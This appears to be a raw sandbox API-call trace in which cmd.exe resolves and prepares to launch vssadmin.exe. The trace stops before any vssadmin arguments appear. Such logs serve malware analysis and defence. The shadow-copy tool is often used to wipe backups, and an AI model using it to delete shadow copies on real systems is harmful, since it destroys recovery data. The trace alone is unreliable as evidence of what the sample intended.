	[0230.893] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24e145b0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0230.893] malloc (_Size=0xffce) returned 0x24e145c0060
	[0230.893] ??_V@YAXPEAX@Z () returned 0x24e145c0060
	[0230.894] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24e145c0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0230.895] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0230.895] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0230.895] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0230.895] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0230.895] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0230.895] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0230.895] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0230.895] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0230.895] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0230.896] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0230.896] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0230.896] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0230.896] GetProcessHeap () returned 0x24e143e0000
	[0230.896] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143e6460) returned 1
	[0230.896] GetEnvironmentStringsW () returned 0x24e143e8470*
	[0230.896] GetProcessHeap () returned 0x24e143e0000
	[0230.896] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xa94) returned 0x24e143e59d0
	[0230.897] FreeEnvironmentStringsA (penv="A") returned 1
	[0230.897] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0230.897] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0230.897] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0230.897] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0230.897] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0230.897] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0230.897] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0230.897] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0230.897] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0230.897] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0230.897] malloc (_Size=0xffce) returned 0x24e145d0040
	[0230.898] ??_V@YAXPEAX@Z () returned 0x24e145d0040
	[0230.899] GetProcessHeap () returned 0x24e143e0000
	[0230.899] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x38) returned 0x24e143e6470
	[0230.899] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24e145d0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0230.899] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x24e145d0040, lpFilePart=0xf5f7f5f6a0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xf5f7f5f6a0*="system32") returned 0x13
	[0230.900] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0230.900] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xf5f7f5f3d0 | out: lpFindFileData=0xf5f7f5f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x24e143e64b0
	[0230.901] FindClose (in: hFindFile=0x24e143e64b0 | out: hFindFile=0x24e143e64b0) returned 1
	[0230.901] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xf5f7f5f3d0 | out: lpFindFileData=0xf5f7f5f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc0b701ad, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xc0b701ad, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x24e143e64b0
	[0230.908] FindClose (in: hFindFile=0x24e143e64b0 | out: hFindFile=0x24e143e64b0) returned 1
	[0230.908] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0230.908] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0230.908] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0230.908] GetProcessHeap () returned 0x24e143e0000
	[0230.908] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143e59d0) returned 1
	[0230.908] GetEnvironmentStringsW () returned 0x24e143e8f40*
	[0230.909] GetProcessHeap () returned 0x24e143e0000
	[0230.909] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xac4) returned 0x24e143e9a10
	[0230.909] FreeEnvironmentStringsA (penv="=") returned 1
	[0230.909] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24e145b0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0230.910] GetProcessHeap () returned 0x24e143e0000
	[0230.910] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143e6470) returned 1
	[0230.910] ??_V@YAXPEAX@Z () returned 0x1
	[0230.910] ??_V@YAXPEAX@Z () returned 0x1
	[0230.910] GetProcessHeap () returned 0x24e143e0000
	[0230.910] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x4016) returned 0x24e143ea4e0
	[0230.911] GetProcessHeap () returned 0x24e143e0000
	[0230.911] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x5c) returned 0x24e143e0fc0
	[0230.911] GetProcessHeap () returned 0x24e143e0000
	[0230.911] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143ea4e0) returned 1
	[0230.911] GetConsoleOutputCP () returned 0x1b5
	[0230.916] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0230.916] GetUserDefaultLCID () returned 0x409
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff68e91bb78, cchData=8 | out: lpLCData=":") returned 2
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xf5f7f5fa60, cchData=128 | out: lpLCData="0") returned 2
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xf5f7f5fa60, cchData=128 | out: lpLCData="0") returned 2
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xf5f7f5fa60, cchData=128 | out: lpLCData="1") returned 2
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff68e91bb68, cchData=8 | out: lpLCData="/") returned 2
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff68e91bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff68e91bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff68e91ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff68e91ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff68e91ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff68e91b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0230.918] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff68e91b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0230.919] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff68e91bb58, cchData=8 | out: lpLCData=".") returned 2
	[0230.919] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff68e91bb40, cchData=8 | out: lpLCData=",") returned 2
	[0230.919] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0230.922] GetProcessHeap () returned 0x24e143e0000
	[0230.922] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x0, Size=0x20c) returned 0x24e143e10a0
	[0230.922] GetConsoleTitleW (in: lpConsoleTitle=0x24e143e10a0, nSize=0x104 | out: lpConsoleTitle="cmd.exe") returned 0x8
	[0230.925] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff4f780000
	[0230.925] GetProcAddress (hModule=0x7fff4f780000, lpProcName="CopyFileExW") returned 0x7fff4f79e830
	[0230.925] GetProcAddress (hModule=0x7fff4f780000, lpProcName="IsDebuggerPresent") returned 0x7fff4f79e300
	[0230.925] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetConsoleInputExeNameW") returned 0x7fff4c990a40
	[0230.925] ??_V@YAXPEAX@Z () returned 0x1
	[0230.926] GetProcessHeap () returned 0x24e143e0000
	[0230.927] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x4012) returned 0x24e143ea4e0
	[0230.927] GetProcessHeap () returned 0x24e143e0000
	[0230.927] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143ea4e0) returned 1
	[0230.928] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0230.928] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0230.928] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0230.928] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0230.928] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0230.928] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0230.928] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0230.928] GetProcessHeap () returned 0x24e143e0000
	[0230.928] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xb0) returned 0x24e143e12c0
	[0230.929] GetProcessHeap () returned 0x24e143e0000
	[0230.929] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x22) returned 0x24e143e1380
	[0230.930] GetProcessHeap () returned 0x24e143e0000
	[0230.930] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x48) returned 0x24e143e13b0
	[0230.931] GetConsoleTitleW (in: lpConsoleTitle=0xf5f7f5f950, nSize=0x104 | out: lpConsoleTitle="cmd.exe") returned 0x8
	[0230.932] malloc (_Size=0xffce) returned 0x24e145c0060
	[0230.939] ??_V@YAXPEAX@Z () returned 0x24e145c0060
	[0230.941] malloc (_Size=0xffce) returned 0x24e145d0040
	[0230.941] ??_V@YAXPEAX@Z () returned 0x24e145d0040
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0230.943] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0230.944] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0230.945] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0230.946] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0230.947] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0230.948] ??_V@YAXPEAX@Z () returned 0x1
	[0230.948] GetProcessHeap () returned 0x24e143e0000
	[0230.954] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xffde) returned 0x24e143ea4e0
	[0230.956] GetProcessHeap () returned 0x24e143e0000
	[0230.956] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x5a) returned 0x24e143e1400
	[0230.956] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0230.956] malloc (_Size=0xffce) returned 0x24e145d0040
	[0230.956] ??_V@YAXPEAX@Z () returned 0x24e145d0040
	[0230.957] GetProcessHeap () returned 0x24e143e0000
	[0230.957] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x1ffac) returned 0x24e143fa4d0
	[0230.961] SetErrorMode (uMode=0x0) returned 0x8003
	[0230.962] SetErrorMode (uMode=0x1) returned 0x0
	[0230.962] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x24e143fa4e0, lpFilePart=0xf5f7f5f1d0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xf5f7f5f1d0*="system32") returned 0x13
	[0230.962] SetErrorMode (uMode=0x8003) returned 0x1
	[0230.962] GetProcessHeap () returned 0x24e143e0000
	[0230.962] RtlReAllocateHeap (Heap=0x24e143e0000, Flags=0x0, Ptr=0x24e143fa4d0, Size=0x4a) returned 0x24e143fa4d0
	[0230.962] GetProcessHeap () returned 0x24e143e0000
	[0230.962] RtlSizeHeap (HeapHandle=0x24e143e0000, Flags=0x0, MemoryPointer=0x24e143fa4d0) returned 0x4a
	[0230.962] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0230.963] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0230.963] GetProcessHeap () returned 0x24e143e0000
	[0230.963] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x1b4) returned 0x24e143e1470
	[0230.963] GetProcessHeap () returned 0x24e143e0000
	[0230.963] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x358) returned 0x24e143e1630
	[0231.024] GetProcessHeap () returned 0x24e143e0000
	[0231.024] RtlReAllocateHeap (Heap=0x24e143e0000, Flags=0x0, Ptr=0x24e143e1630, Size=0x1b6) returned 0x24e143e1630
	[0231.024] GetProcessHeap () returned 0x24e143e0000
	[0231.024] RtlSizeHeap (HeapHandle=0x24e143e0000, Flags=0x0, MemoryPointer=0x24e143e1630) returned 0x1b6
	[0231.024] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0231.024] GetProcessHeap () returned 0x24e143e0000
	[0231.024] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xe8) returned 0x24e143e1800
	[0231.028] GetProcessHeap () returned 0x24e143e0000
	[0231.028] RtlReAllocateHeap (Heap=0x24e143e0000, Flags=0x0, Ptr=0x24e143e1800, Size=0x7e) returned 0x24e143e1800
	[0231.028] GetProcessHeap () returned 0x24e143e0000
	[0231.028] RtlSizeHeap (HeapHandle=0x24e143e0000, Flags=0x0, MemoryPointer=0x24e143e1800) returned 0x7e
	[0231.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0231.029] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf5f7f5ef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf5f7f5ef40) returned 0x24e143e1890
	[0231.029] GetProcessHeap () returned 0x24e143e0000
	[0231.029] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x0, Size=0x28) returned 0x24e143e18f0
	[0231.029] FindClose (in: hFindFile=0x24e143e1890 | out: hFindFile=0x24e143e1890) returned 1
	[0231.030] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xf5f7f5ef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf5f7f5ef40) returned 0xffffffffffffffff
	[0231.030] GetLastError () returned 0x2
	[0231.030] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xf5f7f5ef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf5f7f5ef40) returned 0x24e143e1890
	[0231.030] GetProcessHeap () returned 0x24e143e0000
	[0231.030] RtlReAllocateHeap (Heap=0x24e143e0000, Flags=0x0, Ptr=0x24e143e18f0, Size=0x8) returned 0x24e143e18f0
	[0231.030] FindClose (in: hFindFile=0x24e143e1890 | out: hFindFile=0x24e143e1890) returned 1
	[0231.031] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0231.031] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0231.031] ??_V@YAXPEAX@Z () returned 0x1
	[0231.031] GetConsoleTitleW (in: lpConsoleTitle=0xf5f7f5f4c0, nSize=0x104 | out: lpConsoleTitle="cmd.exe") returned 0x8
	[0231.068] InitializeProcThreadAttributeList (in: lpAttributeList=0xf5f7f5f3e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xf5f7f5f2d0 | out: lpAttributeList=0xf5f7f5f3e0, lpSize=0xf5f7f5f2d0) returned 1
	[0231.068] UpdateProcThreadAttribute (in: lpAttributeList=0xf5f7f5f3e0, dwFlags=0x0, Attribute=0x60001, lpValue=0xf5f7f5f2bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xf5f7f5f3e0, lpPreviousValue=0x0) returned 1
	[0231.068] GetStartupInfoW (in: lpStartupInfo=0xf5f7f5f370 | out: lpStartupInfo=0xf5f7f5f370*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x14c, hStdOutput=0x150, hStdError=0x154)) 
	[0231.068] GetProcessHeap () returned 0x24e143e0000
	[0231.068] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x20) returned 0x24e143e1890
	[0231.068] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0231.069] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0231.070] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
